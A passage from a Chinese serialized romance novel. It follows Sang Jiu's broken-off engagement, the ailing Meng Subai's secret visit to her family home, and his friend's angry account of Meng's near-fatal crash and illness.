“可我做不到从前那样了,我不能一直这么自私,”李佑泽像是做了什么决定,“桑桑,如果你觉得当初我救了你的命,想报答我才一直对我这样包容,我想是说,你为我做得已经够多了,我虽然很想和从前一样跟你永远在一起,可我知道,如果我们结婚,你再也回不到从前了,而我……也没法再救你一命了。” “我不知道你在说什么……”桑酒忽觉鼻尖一酸。 “是不是觉得我突然变得很伟大了?”李佑泽笑着问她。 桑酒捏着鼻尖不让自己哭出来:“我答应了你妈妈……” “我知道,”李佑泽截断她的话,“你答应她要好好照顾我、要管着我,你也叫过她一声妈了,也算是我们老李家的人了。” “所以……” “所以,我真该死,让你一个人承受了这么多,”向来轻浮的李佑泽如今也学会了自我反省,“桑桑,谢谢你在最后的时光里,给了我妈陪伴,她昨天说,她很开心,看到我们越来越好,她没有遗憾了。” 桑酒说:“从小阿姨就待我如亲闺女,这都是我应该做的。” “行,”李佑泽抬头看向灵柩的方向,“妈,那我就帮你认下桑桑这个女儿好不好?” “什么?”桑酒以为自己听错了。 “我妈从前就一直说,想要一个你这样的女儿,现在就帮她圆了这个愿望,桑酒,从今以后,你就是我妹了,明天我就告诉大家。” “李佑泽……” “叫哥!”李佑泽敲了敲她脑袋。 桑酒一瞬间泪目,她擦干,推了一下他肩膀:“休想占我便宜!” 李佑泽唇角微扬,笑容有些苦涩,看向她的目光却充满心疼:“桑桑,去找他吧。” 桑酒落寞低下头:“我跟他分手,真跟你没有关系。” “不管有没有关系,你自由了,不要被任何事情束缚,去追求自己所爱吧。” “我们……”跟李佑泽的关系转变后,桑酒内心似乎有一道枷锁断裂,她略微思量后如实相告,“你知道他身份的,我跟他,是两个世界的人,不会有结果的。” “你怕他跟宋祁一样吗?” “一不一样不重要,重要的是,我跟三禾一样,跟他们不是一个世界的,即便有爱又如何,在那个世界我活不下去,就算活下去,也不会快乐,我对自己现在的生活很满意。” 李佑泽却问她:“是满意,还是胆小?” 桑就不说话。 她确实怕了,不敢以孟苏白的生命作赌。 如果她的存在只会给他带来危险,她宁愿做一个胆小鬼躲起来。 “桑桑,谈个恋爱而已,为什么要想那么多,先爱了再说,只要不搞出孩子,随时都可以抽身,这一点,你应该跟三禾学习,别那么封建。” 搁往日,这疯狂不着边的话,李佑泽是少不了一顿揍的。 但今时今日的桑酒,已经没有精力去计较了。 她声音始终淡淡的。 “我们彻底结束了,没法回头。”- 寰曜大厦顶层办公室的落地窗外,海城的天际线被暮色染成深紫,室内只开了办公桌上的冷白光,将孟苏白的侧脸切割得棱角分明,他指尖夹着的钢笔悬在文件上方,迟迟没有落下,目光落在“寰曜年度战略规划”的标题上,思绪却飘回了刚刚给集团所有员工发送的那份元旦福利邮件。 原来,时间过得这样快么。 “Kings?”直到对面孟嘉欣轻声提醒。 孟苏白收回目光,钢笔在纸上落下重重一笔,签名遒劲利落,却透着几分不易察觉的烦躁。 “海城的核心业务,地产板块盯紧浦宁区地块,新能源项目按原定计划推进,不用等总部那边的反馈,你有最终决策权。” 这段时间,他能力挽狂澜稳住局面,也有大姐孟嘉欣里外相助的功劳,所以孟苏白力排众议,推举她坐上寰曜集团总裁位置,不仅仅是看中她的成熟稳重,也发现她是不可多得的商业奇才,有不输旁人的野心,这些年只是碍于女子身份被压制,才选择了攻读心理学博士,站在大哥的身后。 “公司的事情你放心,我不会让你失望的,你在国外好好养身体,”孟嘉欣看向心事重重的孟苏白,目光犀利,“只是,你就没有其他的事情要交代?” 孟苏白握着钢笔的手指关节微微泛白,良久,放下钢笔,将面前的三份文件推过去。 “是有一点私事,想麻烦大姐。”他说,“这里有三份投资股份,麻烦你帮我保管好,合适的时机交给她。” 孟嘉欣虽然没有见过那人,却明白他说的是谁,她点头承诺:“好。” “还有大哥生前有一个愿望,还未实现,大姐如果有空,可以替他去坐坐……就坐那儿看看。” “嗯,Vicoria跟我说了。” “别打扰她……” “我明白。” “……不,”孟苏白却忽然想起什么,看了她一眼,“大姐,你可以跟她聊天,多陪她说说话。” “她是……”孟嘉欣看着他的视线,猛然明白过来什么。 孟苏白点头:“她从前有抑郁症,已经好了,是我的出现,是我给她带来了压力,她的失眠症又犯了……你是心理博士,可以帮助她对不对?” “我会留意,”孟嘉欣说,“但是抑郁症复发是一个挺严重的事情,很大可能会比之前更严重,这个时候的患者,会排挤心中最爱,因为害怕得到又失去,因为于她们而言这是最致命的稻草,或许她表面会看着很坚强,实则是最需要爱她的人陪在身边,需要无条件的爱来治愈她,Kings,你放心就这样丢下她吗?” 孟苏白在落地窗前站了大半个小时,高大的身影在灯光下投下长长的阴影。 因为孟嘉欣那段话,他心绪不宁起来。 他梦到过,她与那个男人十指紧扣,却在转身看向他时微微笑起,只是那浅淡的笑意不达眼底,目光空洞又麻木,仿佛一个没有灵魂的布偶。 窗外的灯火璀璨,却夜色沉沉,一场暴雨倾盆而下。 婚礼前一晚,新郎和新娘会做什么? 大概会辗转反侧,彻夜难眠,期待晨曦早些降临,期待早点迎接他的…… 孟苏白轻轻闭上眼睛,他曾想过这个场景,然而此刻怎么也拼凑不出画面。 他的世界一片沉寂,脑海划过的,是分手后她每一张笑脸,温柔麻木的、隐忍含泪的、悲伤微笑的……他忽然感受到了她的难过、孤独和悲痛。 再睁开眼时,眸底的情绪已被层层掩盖,只剩下一股强烈的、不顾一切的想要回到她身边的欲。望。 孟苏白转身,捞起桌上的车钥匙,拾起外套,大步离去。 黑色幻影,穿梭于雨夜高架。 云叔得知他一个人出发时,吓得不行,却又不敢在他开车时多说什么。 “Kings,你已经连续工作了几日,又没有带私人医生随性,如果病情发作怎么办?”年过半百的中年男人,这半年早已灰白了头发,几乎是哽咽着恳求他留下,“等天亮了,我们一起……” 孟苏白的声音很沉稳:“云叔放心,我会照顾好自己。” 从海城到遂溪,一千多公里的路程,虽然遥远,但想通了的这一刻,他感觉自己仿佛活过来了一般,无比期待。 疲劳时,他会在服务站休息好再出发,病痛发作时,他就用止痛针扎自己,一针不行,就两针、三针…… 他想见她,一刻都等不了—— 作者有话说:就现在,见一面吧! 第74章 贺煜打电话给文箐时, 文箐刚下播。 “不是说明天要去参加朋友婚礼吗?怎么又播这么晚?” 贺煜也是上次在文箐朋友圈中看到她跟桑酒的合照,才知道两人关系,但也一直没有戳破。 如果没记错的话, 明天元旦, 是小玫瑰结婚的日子。 孟苏白明天飞往德国的航班, 如今他已是孟氏集团的董事长, 最近在跟孟嘉欣做交接, 也不知道是忙忘了,还是刻意不提,只听说云叔说, 已经几天没回家, 连续住在公司加班了。 文箐一边卸妆,一边叹了口气:“婚礼取消了呀。” “什么?”贺煜一整个震惊了, “什么时候的事?为什么呀?” 文箐疑惑:“男方妈妈前几天过世了, 婚礼就取消了呀。” “你确定是取消,不是延迟?”贺煜觉得奇怪。 文箐想了想:“我也不清楚哎,不过你关心这个干什么?你认识啊?” “不认识,不认识, 当然不认识!” 贺煜赶紧三连否认, 想着还要继续当卧底打探小玫瑰的情况呢,而且这么重要的消息,他已经迫不及待要告诉孟苏白了。 哪怕此时已经凌晨一点。 “老白!有一个好消息和一个坏消息, 你要先听哪个?” 意外的是电话很快就被接通了。 孟苏白略略沉吟, 才道:“坏消息吧。” 他的声音低沉沙哑, 仿佛身在一个狭小的空间。 贺煜也没有多想,急匆匆说道:“你明天估计飞不了德国了。” 孟苏白轻嗯了一声,他刚在座椅上小憩了一会儿, 正准备重新启动车子,继续前行。 “这算什么坏消息?” 他本就改了行程。 “……行,相比我要说的好消息,这确实算不上有多坏。” 等他下文的空隙,孟苏白缓缓低头看了下路程,已经走了三分之二。 也不知道见到自己突然出现,她会是什么反应? 大概是没有好脸色吧。 她总是嘴硬心软。 “你就不问问我,好消息是什么?” “是什么?”孟苏白轻言,同时启动车子。 “小玫瑰的婚礼,取消了!” “嗞——” 手机里蓦地传来一阵刺耳的刹车声。 贺煜一惊:“你在哪儿?” “你刚说什么?取……消?”孟苏白的声音却比他更震惊- 东方既白时,孟苏白抵达贺煜给的地址——李佑泽的老家。 灵堂白幔低垂,香烛的冷烟裹着沉郁的哀乐,在空旷的祠堂里哀怨绕着。 桑酒身披白色孝衣,规规矩矩跪在同样身着孝衣的李佑泽身旁,两人对着灵柩一拜再拜,虔诚又悲痛,俨然一对共度丧亲之痛的小夫妻。 是他来迟了吗? 孟苏白倚在车门,心口仿佛骤然被钝器狠狠砸了一下,比钢针入骨还要刺痛千百倍的劲儿顿时传遍全身。 他指尖攥得发白,骨节泛出冷硬的青白,眉心更是冒出豆大的汗珠来。 周遭的哭声、劝慰声都成了模糊的背景,孟苏白死死盯着那道依偎的身影,看那人低下头与她耳语,看她为那人细心整理头上孝布,看他们目光相视点头。 那是她从未有过的态度。 孟苏白一直都知道,她不爱那个男人。 可此时此刻,他忽然不确定了。 身边走过几位阿婶,说着十分地道的遂溪话,孟苏白曾听桑酒说过,听不太懂整体意思,却断断续续听出了几个词。 “……好女孩……好福气……” 阿婶们纷纷竖着大拇指,赞扬着那个善良的姑娘。 孟苏白忍受着病痛突袭的灼热,失落夹杂着痛苦一同燃烧起来。 脑海中一时是四年前桑酒醉酒痛骂那人后,却依旧会维护他的模样,一时又是她如亲生女儿般对待他父母的画面。 越是想,越是难受。 究竟要怎样的情深,她才会愿意为一个男人的母亲披麻戴孝。 难道就因为他们是青梅竹马,就因为他曾带她走到阳光之下。 黑色轿车悄无声息到来,又悄无声息离开。 车子开出几里地,孟苏白疼得满身大汗,终于无法再承受,他在一道十字路口边紧急踩了刹车。 不能让她看到自己如此狼狈的模样。 她会担心。 长指颤抖着摸向药盒,才发现止痛针已经用完。 孟苏白将手腕佛串缠在掌心紧紧攥着,泛白的指甲陷入肉中也毫无知觉,后背一片刺痛,他甚至无法贴着背椅,每一次碰触都犹如万针穿骨。 云叔电话打来,询问他具体位置时,孟苏白已经下了车,扶在车身,低头喘着气。 发了定位后,挂断电话,身后忽然有人叫住他。 “小伙子,你是谁呀?” 他撑着车身回头看去,身后站着一位妇人,脚边放着一篮子新鲜蔬菜,手里拄着一根拐杖,慈眉善目望着他,说着不太标准的普通话,再细看,只觉眉眼间似有些熟悉。 “没见过你,是找谁家的呀?迷路了吗?”妇人热情问道。 “桑……酒……”孟苏白脱口而出,却因为身体的疼痛戛然而止,皱起眉深吸一口气。 妇人也被吓了一跳,拄着拐杖走过来,发现他满头大汗:“你生病了?” 孟苏白还没开口说话,她兜里的手机忽然响起。 “泱泱?” 孟苏白一顿,看向妇人的目光带着几分探究与认真。 他听到她跟对面人叮嘱注意身体,上山小心路滑…… 等再回过神时,妇人已经挂断电话,看向他,语气温和。 “小伙子,你这样子还是不要开车了,很危险。” “谢谢。”孟苏白垂着眸,唇畔的笑容温柔又苦涩,仿佛透过她,在看另一个人。 傅莹秋点了点头后,弯身提起地上一篮子菜,一手拄着拐杖,准备离开。 孟苏白目光追寻了片刻,抬步上前。 “阿姨,我帮你吧。” 傅莹秋摆了摆手:“不用不用,小伙子,你自己都不舒服,还是回车休息吧。” “我没事,”孟苏白不由分说从她手里接过篮子,又礼貌询问,“阿姨,我能去您家讨口水喝吗?我的家人要晚点过来。” 傅莹秋一向好客,更何况眼前男人看着英俊帅气的,不像坏人。 “当然可以,我家就在这后面,就是麻烦你了,这篮子很重的。” “不重,”孟苏白偏头看她步履缓慢,又伸出右手,“我扶您。” “不用。”傅莹秋再次摆了摆手。 “您的腿……” “年轻时候,被我男人打断了,不过现在扶着拐杖走路,还是可以自己走的。” 女人虽然步履迟缓,但语气听着有几分释然。 孟苏白隐约听桑酒提过,她那位酗酒嗜赌又家暴的父亲过世后,她母亲才过上了正常的生活。 桑酒的童年,并不怎么美好- 桑酒的家就在十字路口一片竹林后,新砌的房子,不算大,却很温馨,有家的氛围。 孟苏白长身玉立,站在大厅中央,目光在挂满了照片的墙上逡巡。 他一眼就发现了不少桑酒的照片,从小到大,有身穿白色蓬蓬裙的小公主照、留着短发帅气利落的假小子照、扎着马尾目光清纯的青涩学生照,也有亭亭玉立长大后的可爱少女照,最近时期的,应该是两三年前,她去旅游的那些照片,与四年前区别不大,但更明艳自信,让人移不开目光。 “那是我大女儿。” 傅莹秋端了茶水走出来,看到男人微仰着头,停在一张十二寸大照片前,看了许久,背影清俊,绝非寻常人气质。 “她几年前在国外拍的,你看到她身后那片葡萄园没?她就是在海城开酒馆,卖红酒的,一年难得回来几次,刚刚那一大篮子蔬菜,就是我给她准备的。” 提起女儿,傅莹秋总是充满了自豪感,情不自禁多说了两句。 “您女儿很漂亮,也很厉害。”孟苏白凝望着那张油画般的照片,目光深邃迷离,声音温柔缱绻。 照片里的桑酒,戴着一顶蕾丝草帽,身穿蓝色绣花连衣裙,微微仰头望着天空,仿佛误入田园的花仙子,风吹动着蕾丝飘带,与发丝缠绕在胸前,温柔又灵动。 “谢谢你夸奖,”傅莹秋没看到他悲伤的神情,只当他与每一个见到女儿的寻常男人一样,都会夸赞她的美貌,“当妈妈的,也不追求女儿多漂亮多厉害,只希望她过得幸福,一辈子平平安安、顺风顺水就好。” “幸福……” “对,我女儿跟我女婿原本要今天结婚的,他们青梅竹马谈了很多年,不过我女婿妈妈前几天去世了,婚礼估计要推迟一段时间。” 傅莹秋说完,发现男人站在原处,侧颜低垂,看不清神情,只是一贯挺拔修长的背脊,慢慢委顿下去,萧条背影看起来有种难以释怀的黯然。 “她是应该幸福的……” 有爱她的家人朋友、知根知底的丈夫、蒸蒸日上的事业……她这一生,可以平平安安、顺风顺水。 沉默了几秒,孟苏白声音缓缓,像是在自言自语。 “可为什么……为什么总觉得,她眼里藏着不开心呢?” 脑海浮现近日的她,太过沉静,太过平淡,对待任何事任何人都温柔得体,只是眼底也过于平淡无波,仿佛没有光。 就像这张照片里的桑酒,眼尾带着一丝淡淡的忧愁,大概是她说过的,想念故乡、想念家人…… 亦或者,有一刻想念过他。 这个念头闪过心头,孟苏白下意识捂住心口,那里疼得他几乎要喘不过气来。 “不开心吗?” 傅莹秋也走过去,仔细去看女儿那张照片,她眼神不太好,一时看不出来个所以然,又忽听男人询问。 “阿姨,我能拍几张照片吗?” “拍什么?” 傅莹秋冷不丁一惊。 孟苏白顿了两秒,转身看向她,语气谦然:“抱歉,是有些唐突了,只是觉得看着有些眼熟,不知道是不是我去过的那家酒馆,所以想拍照确认一下。” 傅莹秋将他打量了一番,忽然问:“你是不是来找阿冀的?” 孟苏白一愣,随即点头:“阿姨怎么知道,我认识桑冀?” 其实傅莹秋只是刚刚听他提了一个名字,听着像是桑冀,又加上他这番话,想着估计真去过桑酒的酒馆,便笑着说:“你拍吧,随便拍,没事的。” 孟苏白点头说了声谢谢,举起手机,对着那些他从未见过的照片,一一拍下。 也许,这是最后一次见面了,能留下做个纪念,也好。 晚上,桑酒忙完一切回家。 傅莹秋得知女儿跟李佑泽这些年都是假情侣,两人不但解除了婚约,桑酒还以干女儿的身份送李佑泽母亲上山,她也没说什么,只是抱着女儿拍了拍她肩。 “泱泱,你做什么决定妈妈都支持你,只要你过得好,过得开心,结不结婚,嫁不嫁人,都无所谓,妈妈只希望你以后,能为自己而活,往日的一些恩情,固然要记在心里,但也不要因为这些恩情把自己压得太辛苦了,你要多为自己想想,去过自己想过的生活,无论未来如何,妈妈只希望你开心。” 桑酒抱着母亲,笑道:“怎么突然说起这么煽情的话了?我什么时候不开心了?” 傅莹秋心疼地看着女儿:“你长大后,开不开心也不告诉我,从来只报喜不报忧,如果不是别人告诉我你眼里还藏着悲伤,我都不知道,这些年,你过得这样艰难。” “别人?谁啊?”桑酒听着这话,觉得怪怪的。 傅莹秋抬手指了指客厅她那张照片:“今天家里来了位奇怪的客人,就站在那儿看着你的照片,看了很久,他跟我说的。” “什么客人?” “海城来的一个男人,说是找阿冀的,我看那气质,像领导,大领导。” “领导?” “对,哦……他还拍了你几张照片,说看着有些眼熟,兴许认识你。” 桑酒没有多想,她去过几次桑冀的公司,兴许是真的见过她。 但是桑冀的领导,怎么会来这儿找他? “这小伙子,不但长得帅,人还挺好的,”傅莹秋指了指门外那一篮子洗好的蔬菜,说,“看我腿脚不方便,就帮我把摘给你的菜都洗好了,我看他好像不太舒服,来接他的人,都是搀扶着他上车的,也不知道是生了什么病,脸色白的哟,我看着都不忍心,从门口摘了几个大柚子送给他……” 桑酒笑:“那柚子今年第一次熟,我都还没尝到啥味道呢。” “你这孩子,这大冬天的,水冷得很,人家一身西装皮鞋贵气得很,就蹲在那儿帮忙洗菜,我怎么好意思呢?” 桑酒点头,这画面,确实难以想象,回头得问问桑冀,看看是谁。 “再说了,家里又没有别的好东西,我说这是我女儿最爱吃的葡萄柚,人家才收下的,回头他去你店里找你,你跟人家好好说声谢谢,请人家喝酒……” “好。” 桑酒靠在母亲肩上,偏头盯着墙上那幅照片。 不快乐吗? 明明她的唇角是微微扬起的。 谁能看出她不快乐? “妈妈,他长什么样呀?”—— 作者有话说:孟总就是吃了听不懂遂溪话的亏! 第75章 冬去春来, 这个年过得很是清冷,门前柚子树第一年结的果并不甜,干而涩, 食之无味。 但因为是自己亲手种下的, 桑酒没有浪费一丁点。 转眼至端午, 终于有了一件天大喜事冲破了这平静无味的日子——桑家又新添了一位成员。 嫂嫂俞永熙生下一个十分可爱的女儿。 没日没夜忙了大半年的桑酒, 终于抽出两天空, 回了家一趟,她将小侄女抱在怀里爱不释手,又封了一个大大的红包, 足足有两万! 嫂子笑着说:“这是要跟我抢女儿的节奏啊?” 闻言, 桑酒一脸认真:“可以吗?可以吗?反正你们都有了双胞胎,小布丁就给我当女儿呗~以后我孤家寡人, 也好有个陪伴。” 桑志华一听, 顿时急了:“想要女儿你自己找男人生啊,才几岁的年龄,就孤家寡人了?” 桑酒皱起眉,笑容也有几分苦涩。 俞永熙用胳膊肘拐了一下自家大老粗丈夫, 低声呵斥:“你怎么当哥哥的?会不会说话?” 身为嫂子, 俞永熙知道桑酒为这个家付出了多少,也多多少少从妹妹三禾那里听了她跟孟苏白的事情,所以打心眼里心疼她。 “只要泱泱喜欢, 以后小布丁也是你女儿。” “还是嫂嫂好!”桑酒欢天喜地抱着小家伙, 鼻尖轻点她小小的额头, 忍不住拍了张照发朋友圈炫耀。 「喜提一枚女宝!以后要给妈咪养老哦~」 “姐!我也要个女儿!” 刚收到俞三禾的点赞,就听到她洪亮的声音就从门口传来。 桑酒回头望去,唇瓣微张, 一脸吃惊。 好家伙,烈焰红唇大波浪,简直风情万种,更觉得是,手里还挽着一个高大帅气的小奶狗! 这波回家创业,挺值的啊! “干啥,这眼神是被我迷倒了,还是被我男朋友迷倒了?” 俞三禾上来就给闺蜜翻了一个大大的白眼。 几个月不见,这人脸皮倒是越来越厚了。 桑酒无语一笑,朝小帅哥抬了抬下巴:“介绍一下吧。” “我男朋友,小林。”俞三禾拍了拍自家男朋友,“叫姐姐。” 那小林看着年纪刚过二十的样子,一脸青涩,对着桑酒乖巧喊了声姐姐。 桑酒一身鸡皮疙瘩顿起,又偷偷给某人竖了个大拇指。 厉害! 论老牛吃嫩草这一套,她就服俞三禾! 第二天回海城,小林亲自开着俞三禾的车送她去高铁站。 一路上,俞三禾抱着她依依不舍:“你下次不会要年底才回来吧?” “不会啊,小布丁满月酒我肯定回来。” 刚和哥哥嫂嫂聊天,母亲的腿疾一到春天潮湿气候就疼得不行,也去医院看过了,说是二十年前股骨远端的一个骨折,然后畸形愈合,而且畸形得比较大,很难实施常规传统手术,桑酒打算那个时候得空了,带她去省医院看看。 “你不是把酒馆丢给你妹了吗?怎么还这么忙啊?” 如今的桑月已经能独当一面,自己当酒馆老板了,而且还订了婚,预计年底十月份,纪礼舟研究生毕业就结婚,也算是幸福圆满了。 桑酒托腮一脸无奈:“这不是还有工作室的事吗?文箐给我介绍了几个单,都是重量级别的,做好了,今年一年都可以休息了。” “你真是大忙人。”俞三禾顿时垮起脸来 ,“没有你跟佑子,我一个人好无聊啊!” “不是有小林陪你吗?”桑酒打趣,又悄悄附耳,“弟弟长得不错哟。” 俞三禾掐了一把她腰:“你也喜欢这款了?要不我让他给你介绍两个试试?他室友长得都不错,当然咯,跟你……算了,我跟你说,现在的弟弟可会疼姐姐……” 桑酒知道她刚刚停顿要说什么,抿唇轻笑:“行,等我忙完这阵回来。” “这就对嘛,人生苦短,及时行乐,不要把自己过得跟个苦行僧一样!对了,佑子最近怎么样?” “他把李叔接过来一起帮忙了,两个人也有个照应,挺好的。” 俞三禾点头:“是挺好的,就是还不找女朋友,李叔心里估计也着急。” “缘分到了,自然就有了。” “你们啊!”俞三禾靠在她肩上,摇了摇头,“还不如我潇洒!” 桑酒点头:“是啊,我们俞老板在遂溪,混得更是风生水起咯!” 俞三禾现如今的生活,的确是令人羡慕。 “那你要不要回来,跟我一起嘛?海城虽然好,但生活太过压抑了,什么都是快节奏,还不如在老家来得巴适,每天都是享受,凭你的能力,可以过得比我更潇洒!” 桑酒望着窗外的街景,入眼不再是破旧脏乱的街景,也有高楼大商场、繁荣的步行街,昨日深夜的美食节也很是热闹。 虽然她对这个十八线小城市也很陌生,没有什么归属感,但总归家人朋友在这儿。 “好啊,等我哪天累了,不想干了,就回来。”- Chris寄了一批新酒过来,桑酒打算送一箱给文箐。 店里还有刚到的一批三文鱼,也打算切盘一起给她送过去。 文箐这半年给她介绍了不少晚宴策划,说是她的一些朋友需要办一些生日宴、别墅Pary、求婚宴之类的,价格高,要求少,酒等级到位就行,一单能赚挺多,虽然有些晚会主题,太过匪夷所思,一度让桑酒觉得,有钱人的生活,当真是精彩又无聊。 这个时候才晚上九点,桑酒习惯性点进文箐直播间,还有小几千人在线,但文箐却表示要下播了。 退出直播间,桑酒便拨了电话过去,想问问看她什么时候有空,却一直是无人接听。 “算了,我摆好盘直接给她送过去吧。” 桑酒想着三文鱼要趁新鲜吃,便跟桑月说,要她安排后厨赶紧做好。 酒馆的生意越来越好,不单单是桑月线上线下运营有方,也因为桑酒增加了不少品类,比如三文鱼、红酒鹅肝之类的,吸引的顾客也越来越高级。 “姐,经常来的Richel小姐还问起你,说很久没见公主了。” 桑酒记得那位Richel,好像是一位心理学博士,常常一个人坐在楼上包间喝酒,喜欢偶尔听她介绍红酒时聊上几句,话虽不多,但开口都是一针见血,总能令人豁然开朗,而且很喜欢公主,只要公主在,都会抱在手里逗一下。 “下次她过来,你告诉我,我带公主过来。” 公主最近又胖了不少,酒馆里的杂食多了,桑酒其实不太敢带来,怕她吃了肚子疼。 文箐租的房子离酒馆不算远,开车过去半小时就到。 桑酒直接将车开到地下车库,提着一大箱红酒跟三文鱼摆盘,因为放了冰块,有点重,她来不及抽空打电话,已经到了文箐家门口。 按了门铃。 好一会儿门才开。 “这么快……” 一道男声在头顶响起,桑酒一愣,抬头看去。 贺煜看到她时,也是一顿震惊。 “……小玫瑰?” 身后,文箐也探出脑袋:“外卖这么快吗?” 然而看到桑酒时,一阵欣喜:“桑桑,你怎么来了?” 桑酒把手里的红酒跟三文鱼递给她:“来给你送宵夜。” “哇塞,我刚刚还说想吃三文鱼!”文箐惊喜不已,“快进来吧,我们一起。” “不用了……”桑酒目光又落到贺煜身上,“这位是……” “我男朋友,你还没见过吧?他最近从国外回来,正好今天你们认识一下吧!Carson,这是我好朋友,桑酒!”文箐大大方方介绍两人。 桑酒朝贺煜轻轻点头,笑容有些意味深长:“酒馆还有事,我先回去了。” 贺煜看着她离去的身影,欲言又止。 文箐一脸疑惑:“怎么感觉,你们认识啊?” 贺煜看着女友,一脸尴尬。 都怪刚刚自己情难自禁,没让文箐去接电话,这下闯大祸了! 果然,第二天清早,他便收到朋友们的信息。 贺煜只觉得头大,径直去了桑酒的新工作室找她。 “桑老板这工作室不错啊。”他放眼打量了一番。 “贺先生找我有事?”桑酒坐在办公桌前,客套又疏离,对他的登门拜访,也仿佛一点都不意外。 贺煜在她办公桌对面的椅子坐下,笑着说:“为什么拒绝那些订单?小玫瑰,你知不知道这样让我在朋友面前很没面子。” 桑酒面色一本正经:“贺先生,我是正经做生意的,没有时间陪你们有钱人玩。” “谁跟你玩了?” 桑酒抬手,把桌面那一沓合同推到他面前,面无表情:“贺先生自己看吧。” 贺煜随意翻了翻,原本无辜的眉眼顿时皱成一团。 这些不靠谱的家伙!搞什么? 三天两头的生日宴订婚宴和聚会pary就不说了,纪念恋爱一周年、半年,甚至一个月,十天他也忍了,谁能告诉他,给狗狗办满岁宴、给猫猫乔迁,还有那个拆石膏仪式是什么鬼? 要他们照顾生意不是要他们来砸牌子的。 “对不起 ……”贺煜暗自后悔,就不该由他们自行发挥! “谢谢贺先生对我的关照,只是你这样做,会让我为难,让我觉得……自己挺没用。” 贺煜放缓了语气:“我们是朋友,你一定要这么客气吗?” “不敢高攀,我只想靠自己的实力获得认可,也实在没有时间陪你们玩这些无聊的把戏,所以请贺先生以后,不要再通过阿箐监控我的生活了。” “监控?”闻言,贺煜声音忍不住变了调,“桑老板,你以为我愿意做个偷窥狂?还不是因为Kings不在……” 一提到这个名字,他便下意识及时收口,只因孟苏白告诫过,不能打扰她的生活,也不能在她面前提起他,哪怕是名字。 许久未听过的名字乍然入耳,恍若隔世,桑酒仰起头,对上贺煜的眼,笑容却还是一如既往地波澜不惊。 “贺先生,如果没什么事的话,我就不送了,五分钟后,我还约了客人。” 看着她避之不及的态度,贺煜不禁想起远在国外孤零零一个人复健的好兄弟,又心生埋怨:“小玫瑰,你到底在躲什么?既然你没有结婚,为什么还要这样对Kings?” “贺先生!”桑酒抬眸,打断了他的话,“我跟他早就结束了,请你以后,不要再介入我的生活,否则……” “否则怎样?”贺煜偏偏不信。 桑酒笑了笑,抬手按了一下一旁茶盘上的烧水壶开关,而后背脊靠在椅背,一脸淡然:“否则,我也只有回老家创业了。” 贺煜怔了怔,一瞬间也心灰意冷了:“好好好!你们两个,一个隐忍不说,一个极力撇清,合着我就一个偷窥狂呗!” 他起身走了两步,又心有不甘停下脚步:“桑老板,你要忘记Kings,我理解,但我还是想告诉你,他这辈子铁定是忘不了你,除非他死……不,他连死也不怕,阎王都见三回了!” 桑酒舀茶叶的手一抖:“见……阎王?” 贺煜看着她一脸毫不知情的神色,也是豁出去了:“老子今天就当一回嘴替!你是不是在网上查不到任何关于孟苏白的消息?以为他这一年风风光光去做孟氏掌权人?其实他一直都在死亡边缘徘徊!孟彦廷葬礼结束没几天,他就跟他那个同父异母的弟弟,一个专业赛车手去勒芒飙车比赛,他那个弟弟当场丧命,他算幸运,福大命大被我救了回来,但人在ICU昏迷了两个月,是听到你要结婚的消息,才从阎王那里逃了出来。” 桑酒猛然想起,去年文箐旅游回来,跟她说的那个男朋友好兄弟发生车祸,在ICU抢救。 所以,那时命悬一线的人,是孟苏白? “他在赴这把生死赌局前,甚至把所有后路都替你想好了,给你留了宁市那座葡萄庄园,维水泱也转移到了你的名下,就连你酒馆对面花店老板的名字,也是你桑酒!只不过他醒来后看你过得很好,就没有打扰你,一方面是害怕那些人报复你,一方面是担心你抑郁症加深。” 贺煜说着说着,干脆又折了回去,气呼呼坐到座位:“还有第二回,元旦那天,Kings去遂溪找过你,你知道的吧?” 桑酒垂眸,没有说话,捏着茶杯的指尖泛起青白。 “那模样可俊朗了,眉间一颗小痣,看着都贵气。” 她那日没见过孟苏白,母亲的描述,才让她确定他来过她家,见过她妈妈,看过她的照片,帮她洗过菜,还带走了她最想吃的两颗柚子。 只是自那以后,他再也没有出现过,就连那辆GLA也没有在身边出现过。 她好像也已经习惯了他彻底离开她的世界。 “你知道吗?他虽然从鬼门关那里捡回了一条命,身体却留下了严重的后遗症,腰椎骨折那都是其次,神经受损引发的疼痛,被千万根钢针扎着痛,随时发作才是磨人,他那段时间,日常要靠止痛针撑着,可为了确认你过得好,为了去澳城陪你捞人,为了给你一场盛大的烟花,他硬是拖到圣诞过后才肯出国去治疗,结果又在离开前一晚,因为放不下你 ,忍着身体剧痛开车一千多公里,冒着雨连夜赶去你家,结果呢?” 贺煜为兄弟感到悲哀:“结果看到你为别人披麻戴孝,他心灰意冷到发病都不管不顾!你知不知道,他随时都有可能死在路上!你知不知道,那天从你家离开,他是被抬上私人飞机,紧急送往国外治疗的,差一点……差一点他就要死在飞机上!” “我都不知道他的命为什么这么硬?到底是有什么放不下?” 咕噜噜的烧水壶声骤然一停,像是为贺煜的激情演讲一鼓作气。 桑酒提起烧水壶,往茶壶中倒入滚烫的热水,腾起的雾气遮住了她脸上紧绷的表情:“可我前几天看新闻,孟氏集团在他的带领下再创辉煌,所以,现在的他应该没事了吧。” 贺煜一怔,随即一脸不可思议:“你说这话什么意思?你和那些踩着他身躯!榨干他血肉!只为维持表面风光的冷血族人有什么区别?” 桑酒垂眸,看了眼手腕的表:“五分钟到了,我还有其他客人,贺先生说完了就请便吧。” 贺煜瞥了一眼她腕上那块手表,更加气急败坏:“好,好得很!这就是他千辛万苦捧在手心的公主?” 他冷嗤一声,起身一脚踢开椅子,摔门而去。 巨大的砰然声,震掉了桑酒眼底的泪水。 她颤抖着手给自己倒了一杯刚泡好的茶,端起茶杯,却因为身体发抖,茶水溢出,手指被滚烫灼得生疼也毫不在意。 是他要她眼里不要只有别人,多为自己想想,好好生活,好好吃饭,好好睡觉,好好爱自己,她一直都在努力完成他的要求。 她以为,只要离他远远的,他就可以安心去做那个位高权重的世家公子,会有属于他辉煌灿烂的人生,令世人敬仰。 可为什么……为什么一切都跟她想象的不一样? “桑桑姐。” 办公室门大开着,助理小颜敲了敲门,小声提醒她:“何先生来了。” 总裁椅上的女人像是被人抽走了一缕魂魄,手里攥着还冒着热气的茶杯,她低垂着脑袋,不知道在想什么,只是看一眼,就感觉她浑身散发着从未有过的…… 小颜想了一下,才想起该如何去形容这一幕——悲凉。 这是她从未在老板身上见过的一面,印象里,这位女老板从来都是淡然从容,但也是个十足的工作狂来着,只是工作对她来说,好像不是为了赚钱,更像是为了消磨时间,这让小颜原本以为,她的老板强大到无欲无求。 但原来,她也有如此脆弱的一面。 